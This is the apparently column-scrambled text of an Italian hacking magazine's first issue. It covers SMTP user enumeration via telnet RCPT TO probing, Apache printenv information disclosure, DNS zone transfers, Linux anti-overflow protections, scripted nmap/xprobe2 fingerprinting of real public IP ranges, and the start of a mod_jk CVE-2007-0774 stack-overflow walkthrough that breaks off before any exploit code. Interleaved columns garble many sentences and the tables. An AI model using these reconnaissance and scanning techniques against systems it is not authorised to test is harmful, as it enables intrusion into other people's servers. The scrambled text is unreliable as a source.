Académique Documents
Professionnel Documents
Culture Documents
Speciale SAOR:
Stack Overflow Attacco al TCP
(0Day)
Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo
osservando cosa affermano recenti studi.
Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il
processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse?
Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio?
Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo
mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di
contrasto oggi esistenti e capire quando e dove sono attive.
I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker
non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow.
Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente,
exploit remoto incluso!
Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio
anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack
TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine
favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per
essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita,
che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso.
I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user
a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende
queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non
mancheremo di proporre altri approfondimenti!
Racconti
dall’Underground La vera storia dell’ Unicode Bug pag.54
C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal
passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla
ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo
utilizzando la testa!
Editoriale
C
ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza
informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze
durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era
forse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a
riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli.
30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed
utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario.
3
TIPS & TRICKS
SMTP Enumeration prompt dei comandi (ad esempio con ssh), questo
trucco è ancora oggi parecchio sfruttato a beneficio
I
n molte configurazioni standard di Linux il dei nostalgici del finger[2] per lanciare attacchi di
sottosistema di posta elettronica è brute-forcing contro i servizi di autenticazione. Di
strettamente vincolato al sistema operativo ed in solito questo genere di attacchi vengono infatti
particolare al sottosistema di autenticazione. condotti utilizzando come base di partenza username
Questo è ad esempio il caso di Sendmail[1] per il casuali o notoriamente diffusi su Internet (root o
quale, di default, il file locale /etc/passwd funge da www tanto per citare un paio di esempi) senza
database degli account di posta elettronica. Tale l'effettiva consapevolezza del loro status rispetto al
comportamento permette di determinare quali utenti target. Il vantaggio nel praticare SMTP Enumeration
sono configurati in un server. Le operazioni da è quindi notevole se si considera che è possibile
svolgere sono molto semplici. Una volta identificata conoscere a priori quali account esistono nel sistema
un'installazione di Sendmail si stabilisce una e possono potenzialmente essere violati (quelli cioè
comunicazione con il servizio: sul quale concentrare i maggiori sforzi). Migliaia di
tentativi di accesso ad un account inesistente hanno
$ telnet 192.168.100.15 25
Trying 192.168.100.15... infatti il solo scopo di far perdere tempo ed aumentare
Connected to 192.168.100.15. le probabilità di essere individuati.
Escape character is '^]'.
220 SS.local ESMTP Sendmail 8.12.3/8.12.3;
Mon, 24 Sep 2007 13:19:23 +0300 (EEST) Non solo da Linux è possibile praticare SMTP
Enumeration. In genere questa tecnica può essere
Si “dialoga” con esso…. (lo si saluta con il comando utilizzata anche su server basati su piattaforma
HELO e si indica un mittente nullo con il comando Windows o su servizi diversi da Sendmail per
MAIL FROM): identificare caselle di posta elettronica attive (la
parola spam dice nulla?). Alcuni anni fa questi task
HELO test
potevano essere svolti facilmente con i comandi
250 SS.local Hello [192.168.100.87],
pleased to meet you SMTP EXPN e VRFY, oggi spesso disattivati in quanto
MAIL FROM:<> reputati banali vettori di Information Disclosure[3].
250 2.1.0 <>... Sender ok
Per terminare la comunicazione con il server è
….e si comunicano al server i destinatari del falso sufficiente digitare da telnet il comando QUIT:
messaggio. Dalle sua risposte sarà possibile
QUIT
determinare se gli account oggetto di probing 221 SS.local closing connection
esistono o meno:
RCPT TO:<root>
250 2.1.5 <root>... Recipient ok
RCPT TO:<bin> [1] http://www.sendmail.org: Sendmail è il server SMTP di
250 2.1.5 <bin>... Recipient ok default in molte distribuzioni Linux che viene incluso anche in
RCPT TO:<kennedy> svariati release Unix come Solaris ed HP-UX.
550 5.1.1 <fjssdfg>... User unknown [2] Storico servizio Unix in ascolto sulla porta TCP 79 che
RCPT TO:<toor> fornisce informazioni sugli utenti di sistema (ora dell'ultimo
250 2.1.5 <toor>... Recipient ok accesso, tipo di shell, etc..). In passato veniva utilizzato proprio
per individuare la presenza e le abitudini di un utente (ad
esempio se accedeva spesso o solo periodicamente al
Dall'output prodotto in questo caso si comprende sistema). Di solito gli account meno utilizzati erano anche quelli
facilmente che root, bin e toor sono utenti di sistema che subivano più tentativi di intrusione.
(Recipient OK), al contrario invece di kennedy (User [3] Con questo termine si tende solitamente indicare una fuga
di informazioni derivata dalla mal configurazione di un servizio
unknown). Pur non essendo sufficiente per o di un sistema che può consentire di determinare l'ambiente in
determinare se ogni account scoperto è attivo o può cui il target risiede e perfezionare ai suoi danni un attacco su
misura.
essere utilizzato per accedere da remoto ad un
4
TIPS & TRICKS
Un codice dimostrativo automatico per questo includono infatti di default questo script. Un altro tips
trucco può essere prelevato da interessante è quello di provare a visualizzare il
http://www.segfault.it/SS/001/tricks/SMTP- contenuto della cartella /manual puntando il
enum.tar.gz
b r o w s e r a l l a p a g i n a
Apache Default CGI Information Disclosure http://ipwebserver/manual. Di default le
versioni del branch 1.3 e 2.0 collocano il manuale in
Non tutti sanno che quando si installa Apache[4] linea del servizio in questa directory della
compilandolo dai sorgenti vengono collocati di DocumentRoot. Da lì è possibile determinare la
default due script CGI di esempio nella cartella versione del Web Server anche quando la direttiva
/cgi-bin. Uno di questi (printenv) fornisce una ServerTokens nel file di configurazione
serie di informazioni interessanti sul sistema remoto httpd.conf è stata impostata a Product Only[5] o
che possono aiutare a determinare con maggiore addirittura a Minimal[6].
semplicità e senza particolari sforzi, l'ambiente in cui
il web server è eseguito ed alcuni elementi della sua Un codice dimostrativo che automatizza
configurazione. Semplicemente puntando il browser l'exploiting di questo trucco può essere prelevato
da http://www.segfault.it/SS/001/tricks/printenv-
alla pagina http://www.nomesito.xxx/cgi-
scan.tar.gz
bin/printenv si possono ad esempio ottenere
informazioni sul software di base installato: DNS AXFR Zone Transfer
SERVER_SOFTWARE="Apache/1.3.31 (Unix)
PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18 Tutte le comuni implementazioni TCP/IP dei moderni
OpenSSL/0.9.7d" sistemi operativi includono di default una utility le cui
potenzialità di utilizzo vengono spesso sotto stimate.
o ancora il percorso dove è localizzata la Stiamo parlando di nslookup. Lo strumento
DocumentRoot:
permette di indirizzare delle query verso un server
DOCUMENT_ROOT="/www/html" DNS e visualizzare a video le risposte ottenute.
Durante la fase di Information Gathering[7] di un
oltre alla configurazione locale della variabile penetration test, l'interrogazione di un server DNS è
d'ambiente PATH: uno dei primi passi da compiere, addirittura prima di
eventuali ping, telnet e traceroute (per le
PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr
/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/u attività di probing manuali) o di nmap (nel caso di
sr/games:/usr/local/mysql/bin:/www/bin:/op scansioni automatizzate). Supponendo che il target
t/www/htdig/bin:/usr/share/texmf/bin"
della propria analisi sia il dominio domain.it,
Questi output possono essere utilizzati per nslookup può individuare i relativi server di posta
determinare se il web server presenta del software di nel seguente modo (la sintassi è comune sia per
base vulnerabile (ad esempio un modulo buggato), Windows che per Linux):
localizzare con certezza il punto in cui le pagine web
[4] httpd.apache.org
sono ospitate (utile per lanciare certi tipi di attacchi)
oppure individuare la presenza di componenti di [5] Forza il web server a riportare nell'header HTTP “Server:”
solamente la stringa “Apache”.
back-end (come ad esempio un database server),
etc…La cgi printenv fornisce inoltre implicitamente [6] Forza il web server a non visualizzare nulla nell'header
HTTP “Server:” rendendo vana l'esatta identificazione della
l'evidenza che l'istanza di Apache in questione deriva versione del servizio con i classici metodi di scansione.
da un'installazione praticata attraverso la [7] E' la fase che si antepone al vero e proprio attacco
compilazione dei sorgenti. I pacchetti precompilati informatico. Consiste essenzialmente nella raccolta di quante
più informazioni possibili sui sistemi ed i dispositivi che
ufficiali delle svariate distribuzioni Linux non compongono la rete target.
5
TIPS & TRICKS
[9] da
L'output prodotto da questi comandi può essere http://www.microsoft.com/resources/documentation/windows/xp/
molto interessante e vale la pena analizzarlo con all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name
attenzione. Da esso è possibile ad esempio: server found that the request packet was not in the proper
format. It may indicate an error in nslookup”.
Q
uali sono oggi le probabilità di accedere da # cat /proc/2306/maps
remoto ad un sistema Linux sfruttando un […]
comune stack overflow? Negli ultimi anni le 08048000-08049000 r-xp 00000000 fd:00
misure di sicurezza volte a contrastare questo genere 621089 /usr/bin/server
di minaccia sono aumentate esponenzialmente nel
tentativo di frenare il fenomeno della propagazione 08049000-0804a000 rw-p 00000000 fd:00
dei worm e ridurre le possibilità di un aggressore 621089 /usr/bin/server
esterno di condurre con successo attacchi intrusivi.
Reperire infatti exploit “one-shot” (compila, esegui […]
ed ottieni una shell al primo colpo) soprattutto per il bfd26000-bfd3b000 rw-p bfd26000 00:00
pinguino è diventato abbastanza arduo. Seppure 0 [stack]
esistano tecniche più o meno efficienti per aumentare
le probabilità di successo di un attacco contro le In questo esempio, ottenuto attraverso il filesystem
tecnologie anti-overflow oggi esistenti, le possibilità /proc[1], è possibile osservare i permessi assegnati
di portarlo a termine in modo corretto si abbassano alle varie aree di memoria dell'applicazione
notevolmente quando più fra queste tecnologie “/usr/bin/server“. Come si può notare lo stack
vengono implementate a protezione di un sistema. risulta essere solamente leggibile e scrivibile. Il
Se è vero che “l'unione fa la forza” è proprio questo il contenuto al suo interno verrà quindi interpretato
concetto a cui molti vendor Linux si sono ispirati. unicamente come dati. Il contenuto presente invece
Sono diverse infatti le distribuzioni (a parte fra l'indirizzo 0x08048000 e 0x08049000 verrà
ovviamente qualche rara eccezione) che applicano al
interpretato dal processore come istruzioni
kernel o alla librerie di sistema un mix di patch
eseguibili (notare i permessi r-xp). Nel nostro caso
differenti per la sicurezza, allontanandolo così
questa zona rappresenta il codice compilato del file
considerevolmente dalla sua originaria versione
binario e mappato in memoria. Poiché la funzionalità
vanilla. In questo contesto sono quattro le tecnologie
No-eXecute non è supportata da tutti i processori (in
comunemente implementate che è importante
particolare è assente in modo nativo su piattaforma
conoscere. Diamo loro brevemente uno sguardo per
x86), alcuni sistemi operativi la emulano a livello
comprendere quali barriere antepongono al corretto
software. Per Linux esistono diverse
svolgimento di un attacco intrusivo.
implementazioni. Le più famose sono PaX[2] ed
Exec-Shield, quest'ultima sviluppata da Red Hat.
No-eXecute
7
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
# gdb ./server –q E' la tecnologia anti stack overflow su cui gli esperti
(gdb) break *main ripongono maggiori speranze. Consiste nel
Breakpoint 1 at 0x8048604 generare, ad ogni esecuzione di un'applicazione, un
(gdb) run valore (randomico o statico a seconda delle
Breakpoint 1, 0x08048604 in main () implementazioni e delle circostanze) definito canary.
(gdb) p $esp Il canary (Figura 1), in fase di costruzione dello stack
$1 = (void *) 0xbfbe362c frame di ogni funzione che utilizzi buffer più grandi di
(gdb) p system una certa dimensione (solitamente dai 4/8 byte in su),
$2 = {<text variable, no debug viene collocato subito dopo gli eventuali puntatori ed i
info>}0x1c8550 <system> buffer allocati ma prima del Frame Pointer (puntato
(gdb) quit dal registro EBP) e dell'indirizzo di ritorno della
funzione (puntato dal registro EIP). Il canary viene poi
Appena dopo l'ingresso nella funzione main() controllato subito prima dell'invocazione dell'indirizzo
di ritorno. Se il suo valore differisce dall'originario
dell'applicazione server, lo Stack Pointer punta
allora la causa è da imputare ad una condizione di
all'indirizzo di memoria 0xbfbe362c mentre la
overflow (Figura 2) che lo ha impropriamente
funzione system() può essere raggiunta attraverso
sovrascritto e pertanto l'applicazione viene terminata
l'indirizzo 0x1c8550. Ma eseguendo più volte
con il segnale SIGABRT.
l'applicazione e ripetendo la sessione di debugging
con gdb[3] questi indirizzi variano di continuo: [3] http://www.gnu.org/software/gdb/gdb.html
frame return
puntatore puntatore buffer canary pointer address
4 byte 4 byte 256 byte 0xXXXXXXXX 4 byte 4 byte
frame return
Attacker string puntatore puntatore buffer canary pointer address
4 byte 4 byte 256 byte 4 byte 4 byte 4 byte
AAA[...] AAAA AAAA AAAAAAAAAAA[...] 0xAAAAAAAA
Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia
. del programma riprenda dal return address
si accorgerà di questa situazione evitando che il flusso di esecuzione
9
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
FORTIFY_SOURCE aggiunge funzioni di check per indicano i comparti territoriali a cui tali percentuali si
la maggior parte delle funzioni preposte allo riferiscono (Centro Europa, Cina e Stati Uniti). Lo
spostamento di dati da un'area di memoria all'altra schema evidenzia chiaramente un'alta percentuale di
che possono causare un buffer overflow come server Linux con kernel 2.4 ancora attivi. Tale
memcpy, memmove, memset, strcat, circostanza è sorprendentemente più marcata negli
strncat, strncpy, etc…, incluse quelle che Stati Uniti che in Cina, dove comunque la differenza a
permettono di indicare il formato della stringa favore dei kernel 2.6 è appena dello 1,2% e dove i
(printf, fprintf, vfprintf, snprintf, sistemi con kernel 2.2 rappresentano addirittura il
sprintf, vsnprintf e vsprintf) 23,38% dell'intero campione sondato. Pur trattandosi
di dati statistici ricavati a partire da un range limitato di
Riepilugum meglium est host rispetto alla quantità di indirizzi IP disponibili ed
allocati in internet, rimane però immutabile il fatto che
In tabella 1 è riportato il riepilogo schematizzato delle in rete un'alta percentuale di server è ancora
funzionalità di sicurezza supportate di default dalle sprovvista di ogni sorta di protezione anti overflow, il
ultime distribuzioni Linux esistenti nel momento in cui che rende questi sistemi dei target particolarmente
si scrive. Debian e Slackware che tendono ad appetibili e senza dubbio più accessibili rispetto a
avvicinarsi il più possibile al kernel vanilla (ovvero quelli in cui tali tecnologie sono invece già presenti.
privo di patch aggiuntive), risultano essere i sistemi Verrebbe dunque da asserire che l'avvento dei kernel
meno complessi da violare, mentre tra i più 2.6 sta accompagnando le tecniche di hacking
problematici rientra senza dubbio Fedora. classico (quelle fatte cioè di buffer sovrascritti oltre le
massime capacità di contenimento consentite, di
Alcune fra le tecnologie anti overflow introdotte nei puntatori deviati e di shellcode collocati in aree di
paragrafi precedenti e le metodologie note per memoria propizie) verso il tramonto. In realtà
bypassarle verranno descritte in dettaglio già a esistono ancora buoni margini di successo per
partire da questo numero della rivista. hacker e worm-writer di scrivere exploit funzionanti,
seppure le percentuali di fare breccia ai primi tentativi
si siano sensibilmente ridotte con le nuove tecnologie
E' la fine dell'hacking? anti overflow .
La maggior parte delle tecnologie anti overflow I due articoli pratici che seguono nelle pagine
sviluppate in questi ultimi anni sono state integrate di successive hanno proprio lo scopo di far
default nelle moderne distribuzioni Linux solo a comprendere la differenza che intercorre tra violare
partire dal kernel 2.6. Ciò significa che tutti i sistemi un vecchio sistema con kernel 2.4 e violarne uno più
con versioni inferiori ne sono potenzialmente moderno con kernel 2.6 e con le ultime funzionalità di
sprovviste[7]. Se da un lato è possibile obiettare che sicurezza implementate.
tutte le principali distribuzioni desktop e server sono
oramai passate al kernel 2.6, dall'altro è possibile
affermare che in ambienti di produzione questo
switch non è ancora avvenuto in modo completo e
definitivo. Si osservi a tal proposito la tabella 2
sviluppata a partire da alcuni dati raccolti effettuando
[7] PaX può essere applicato manualmente anche su svariate
fingerprint[8] remoto su un campione di 1000 sistemi versioni del kernel branch 2.4 e 2.2.
connessi ad Internet. La tabella consta di tre colonne
[8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o
che indicano la percentuale di kernel di tipo 2.2, 2.4 e ICMP, definite probe, per identificare con approssimativa
2.6 rilevata durante il probing e di altrettante righe che certezza il sistema operativo di un server e/o client connesso in
rete.
10
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
Le statistiche della Tabella 2 sono state generate # nmap -sP -n -oG IP_active_asia.txt
utilizzando due tecniche di fingerprint distinte basate 211.157.0-10.*
principalmente su protocolli ICMP e TCP,
rispettivamente implementate dagli strumenti Dove:
xprobe2[9] ed nmap[10].
-sP attiva la modalità Sweep Scan (ovvero procede
Perché due diversi strumenti?
con l'invio di un icmp echo request e di un pacchetto
La scelta di utilizzare due diversi strumenti è stata TCP ACK per determinare se la destinazione è online).
dettata dalla necessità di produrre risultati il più
-n disattiva la risoluzione DNS degli host.
possibile consistenti e congruenti. Poiché il traffico
ICMP viene solitamente filtrato dai firewall, si è scelto di -oG stampa l'output nel file IP_active_asia.txt
affiancare alla scansione di xprobe2 quella di nmap,
in un formato facilmente manipolabile con il comando
così da procedere con una più accurata identificazione
grep (ovvero tutte le informazioni ricavate per ciascun
del kernel dei sistemi testati. La tecnica del TCP
indirizzo IP vengono memorizzate sulla stessa riga).
Fingerprint implementata da Nmap è però molto
dispendiosa in quanto necessità di almeno una porta
211.157.0-10.* rappresenta uno dei range IP
aperta ed una chiusa per poter produrre risultati
scelto per il sondaggio (nell'esempio da 211.157.0.0 a
completi. Se una di queste condizioni non viene
211.157.10.255).
soddisfatta, il tool procede alla scansione automatica di
tutte le porte TCP dell'host remoto. Laddove il traffico
Dall'output generato con nmap è stata poi
ICMP non fosse filtrato ed il risultato finale potesse
successivamente ricavata la lista degli indirizzi IP attivi,
essere reputato sufficientemente attendibile, si è
sgrondandolo delle informazioni inutili:
preferito quindi lavorare esclusivamente con xprobe2
che fa uso di un numero di richieste più circoscritto e # cut -d " " -f 2 IP_active_asia.txt |
che pertanto consuma meno banda di rete, generando grep –v Nmap > asia_list1
di conseguenza meno traffico e non urtando la
La parte del comando prima del pipe (|) serve a
sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i
stampare per ogni riga di testo presente nel file
quali non è stato possibile produrre alcun risultato
IP_active_asia.txt il contenuto della seconda
congruo si è proceduto ad un'ulteriore verifica con
nmap. colonna separato dal delimitatore spazio. L'altra parte
del comando rimuove invece dall'output scritto nel file
Come è stato selezionato il campione di IP per il asia_list1 la stringa “Nmap”. Ciò è sufficiente per
test? generare una lista di IP attivi utilizzabile come input
delle fasi successive.
Il range di indirizzi IP da testare è stato determinato
consultando l'attuale lista dei blocchi di assegnazione Una volta determinati strumenti da utilizzare e
campione da sondare, come è stato svolto il test?
IPv4 dal sito dello IANA[11]. Per semplicità i blocchi
contraddistinti dalla dicitura “Various Registries”
Per le scansioni con xprobe2 è stato utilizzato il
sono stati scartati. Il range limitato di IP costituente il seguente script bash:
campione sondato è stato invece selezionato a partire
dai blocchi esclusivamente assegnati ad uno dei tre #!/bin/sh
registri facenti capo all'area Europea, Asiatica e delle
IPS=`cat $1`
Americhe (rispettivamente RIPE, APNIC ed ARIN). Per
ciascuno di questi tre comparti territoriali è stato for i in $IPS
effettuato uno Sweep Scan con Nmap per identificare do
xprobe2 $i -M 6 -M 7 -M 8 -M 9 -M 10 >>
gli host attivi nel range:
$2_xprobe2_fingerprint.txt
11
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
Dove:
[9] http:///www.sys-security.com
-iL Indica ad nmap di prelevare gli indirizzi IP da [10] http://www.insecure.org
[11] http://www.iana.org/assignments/ipv4-address-space - Da
sondare direttamente dal file lista
Wikipedia: L'Internet Assigned Numbers Authority è un
IP_active_asia.txt.
organismo che ha responsabilità nell'assegnazione degli
indirizzi IP.
-P0 Salta i test per verificare l'effettiva raggiungibilità
Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su
http://www.segfault.it/SS/001/stats/pack.tar.gz
N X P a tc h
F O R T IF Y
(e m u la z io n e A SLR SSP
SO U R C E
s o ftw a re )
F ed ora C ore (E x e c - (E x e c -
[* ] [* * ]
5 /6 /7 S h ie ld ) S h ie ld )
U b u n t u 6 .1 0 [* ][* * * ]
U b u n t u 7 .0 4 [* ][* * * ]
O p e n S u S E 1 0 .2 [* ] [* * ]
S la c k w a r e 1 2
D e b ia n 4 .0 r1
M a n d r iv a F r e e
[* ] [* * ]
2 0 0 7 .1
Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni
Linux esistenti.
[*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector
[**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2
[***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva.
Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati
12
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
L
o stack overflow è uno degli errori di programma. Ciascuna funzione che necessita di
programmazione più “antichi” ed allo stesso argomenti crea solitamente un suo stack frame,
tempo ancora oggi più comuni. Secondo un un'area dedicata nella quale colloca le proprie
rapporto del CWE[1] che studia le falle ricorrenti strutture dati e che viene puntata dal registro EBP
osservate nel software durante il quinquennio 2001- (detto anche Base Pointer o più comunemente
2006, la categoria degli overflow ha mantenuto fino Frame Pointer). Questo indirizzo[5] rimane costante
al 2005 la prima posizione, ovvero fino a quando le lungo tutta l'esecuzione della funzione per
vulnerabilità web di tipo XSS non sono letteralmente permettere al processore di localizzare in modo
esplose in tutto il mondo (un avvento paragonabile in preciso le variabili o le zone di memoria di interesse,
termini di diffusione a quello dei format string al contrario del registro ESP (lo Stack Pointer) che
overflow[2] avvenuto tra il 1999 ed il 2000 ma come dice lo stesso nome, punta invece
destinato, secondo gli esperti, a perdurare costantemente alla parte attiva dello stack che è
maggiormente nel tempo). Come conseguenza di soggetta a continue variazioni a seguito delle
questo evento, le problematiche legate ai buffer operazioni di inserimento/rimozione dei dati
overflow sono passate in seconda posizione in (push/pop) o di sottrazione/addizione (sub/add),
termini di frequenza anche se ancora oggi si stima queste ultime utilizzate solitamente per fare spazio
che la loro diffusione sia maggiore di altre alle variabili locali e ripristinare gli stack frame di
vulnerabilità molto in voga come quelle di tipo SQL competenza delle funzioni chiamanti.
Injection o File Inclusion, a dispetto del crescente
interessamento verso la sicurezza Web manifestato Simulazione teorica
di recente da penetration tester e bug hunter. Nella
lunga lista delle vulnerabilità correlabili alla categoria L'esecuzione di un'applicazione scritta in C/C++
dei buffer overflow quelli che si manifestano nello parte dal blocco main() e si dirama via via verso le
stack rimangono certamente i più comuni, pur la loro altre funzioni necessarie al corretto espletamento
longevità risalibile nel tempo al famoso Morris delle attività applicative.
worm[3]. Non a caso su siti come securityfocus[4]
vengono giornalmente pubblicati bollettini che [1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito
ospita un database che cataloga le vulnerabilità in base alla loro
dettagliano problematiche software del genere.
tipologia e ne studia la diffusione per categoria (non per singolo
Poiché alcuni degli argomenti che tratteremo in futuro bug).
o in questo stesso numero della rivista necessitano di
[2] In termini di diffusione i format string overflow hanno avuto
conoscenze basilari di cosa è, ma soprattutto di come
un picco repentino che è andato però velocemente scemando.
opera uno stack, quella che segue è una trattazione
dei principali concetti relativi a questo tema. [3] Robert Tappen Morris, ora professore al Massachusetts
Successivamente verrà proposto un esempio reale e Institute of Technology, fu l'artefice il 2 Novembre del 1988 del
primo worm mai affacciatosi su Internet. All'epoca studente della
recente di vulnerabilità collocabile nella categoria
Cornell University, progettò il worm a scopo statistico per
degli stack overflow. Per meglio comprendere le determinare l'estensione dell'allora neonata rete, ma la rapidità
parti che seguono sono comunque vivamente con cui si diffuse e le modalità di infezione causarono il blocco
consigliate delle conoscenze anche minime di indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle
programmazione in C e/o C++. conosciute tra le quali uno stack overflow nel demone fingerd.
Tutta la storia ed il codice del worm possono essere consultati al
Lo Stack in pillole su architettura hardware x86 seguente indirizzo http://www.morrisworm.com.
[4] http://www.securityfocus.com
Lo stack è una regione di memoria in cui le
[5] Un indirizzo è un valore rappresentato in forma esadecimale
applicazioni depositano il contenuto delle variabili, i
che nell'architettura hardware x86 ha la dimensione di 4 byte.
parametri passati alle funzioni o i puntatori che Indica un punto ben preciso in memoria. Un esempio di
permettono di raggiungere punti nevralgici del indirizzo è 0xbfffee00.
13
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
1) dal blocco main() il programma colloca nello stack L’istruzione “ret” preleva dalla posizione attuale
(o nei registri del processore) i dati o gli indirizzi di dello stack (ovvero l'indirizzo puntato dallo Stack
memoria in cui essi risiedono che verranno Pointer) i primi 4 byte in memoria. Questi
rappresentano l'indirizzo di ritorno inserito dalla
utilizzati dalla funzione xxx come argomenti; istruzione call durante il punto 2.
2) sempre dal main() il programma invoca con Adesso si è nuovamente sul main() e l'esecuzione del
l'istruzione call la funzione xxx . Questa programma riprende da dove era stata originariamente
istruzione posiziona nello stack il cosiddetto deviata.
indirizzo di ritorno (4 byte) che verrà utilizzato dal
processore per ritornare al blocco main() (ovvero Come si manifesta uno stack overflow nei sistemi
all'istruzione subito successiva alla call) quando
privi di tecnologie anti overflow
la funzione xxx avrà terminato lo svolgimento dei
suoi compiti. Un overflow nello stack si manifesta nell'esatto
momento in cui l'applicazione prova a memorizzare i
[…] dati provenienti da input utente in un buffer troppo
<main+446>: call 0x804886b <xxx> piccolo per contenerli. Questa circostanza non causa
[…] l'interruzione immediata del programma come ci si
aspetterebbe, bensì i dati in eccesso continuano ad
A questo punto l'esecuzione del programma continua essere scritti nello stack, modificando le strutture ed i
dalla funzione xxx: puntatori allocati. Fra questi, l'alterazione
dell'indirizzo di ritorno è lo scopo ultimo dell'attacco.
Il raggiungimento di questo obiettivo consente di
3) la funzione xxx crea il suo stack frame in tre step. redirezionare il flusso di esecuzione dell'applicazione
Dapprima salva nello stack l'indirizzo del frame verso un qualsiasi punto in memoria, ad esempio uno
shellcode[6] precedentemente posizionato nello stack
attuale[*], poi rende l'indirizzo puntato dal registro
come parte del buffer sovrascritto.
ESP il frame corrente copiandolo in EBP[**], infine
fa spazio per le eventuali variabili locali [***] Pratica con CVE-2007-0774[7]
(istruzione sub sul valore puntato dal registro
ESP): La teoria è inutile se poi non può essere messa in
pratica! Invece di dimostrare come uno stack overflow
[*] 0x0804886b <xxx>: push %ebp può essere abusato su un banale codice di esempio di
[**] 0x0804886c <xxx+1>: mov %esp,%ebp
[***]0x0804886e <xxx+3>: sub $0x118,%esp poche righe, analizziamo un'applicazione reale.
[…] [6] uno shellcode è la rappresentazione (spesso in formato
esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se
4) la funzione xxx svolge le sue operazioni… collocati in aree di memoria non limitate, vengono appositamente
eseguiti dal processore. Il suo scopo è solitamente quello di aprire
5) al termine, ripristina lo stack frame precedente di un canale di accesso remoto.
competenza del main() (solitamente un'istruzione [7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-
add sul valore puntato dal registro ESP): 0774: Il CVE (Common Vulnerabilities and Exposures) fa parte di
un'iniziativa fondata dal dipartimento della sicurezza statunitense
[…] volta a standardizzare, con un codice identificativo univoco, le
0x0804886e <xxx+73>: add $0x118,%esp singole vulnerabilità conosciute per il software in circolazione.
14
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
La falla software in questione, resa pubblica lo scorso ciclo giunge al byte di terminazione della prima stringa
marzo, risiede in alcune versioni di Mod_jk, un ( strlen(uri) ) fornita dall'utente. Se questa stringa è
modulo di Apache che permette al web server di più grande di JK_MAX_URI_LEN (ovvero superiore in
comunicare con il servlet engine Jakarta Tomcat per dimensioni ai 4096 byte), il buffer url viene
la divulgazione di applicazioni web dinamiche. completamente saturato ed i dati in eccesso
Stando alle informazioni diramate con il bollettino continuano ad essere scritti nello stack fino a
ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo raggiungere il return address.
sono soggette ad un'overflow che si manifesta nello COME È STATO RISOLTO IL BUG NELLE VERSIONI
stack. Potendo disporre direttamente dei sorgenti[9] si DI MOD_JK SUPERIORI ALLA 1.2.20?
può in questo caso analizzarli per identificare l'esatto
Diamo più da vicino uno sguardo a come è stata
punto in cui gli sviluppatori hanno commesso l'errore. modificata la funzione vulnerabile nella versione
Queste informazioni ci saranno utili per creare in 1.2.25[10] del modulo (l'ultima disponibile nel momento
seguito un exploit remoto funzionante. in cui si scrive):
[…]
La vulnerabilità for (i = 0; i < strlen(uri); i++) {
if (i == JK_MAX_URI_LEN) {
La funzione vulnerabile è map_uri_to_worker() jk_log(l, JK_LOG_WARNING,
